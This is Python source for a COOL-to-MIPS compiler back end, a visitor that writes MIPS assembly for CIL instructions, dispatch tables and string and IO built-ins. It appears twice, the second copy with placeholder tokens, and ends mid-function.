allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\nsys.path.append('..')\n<import token>\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n 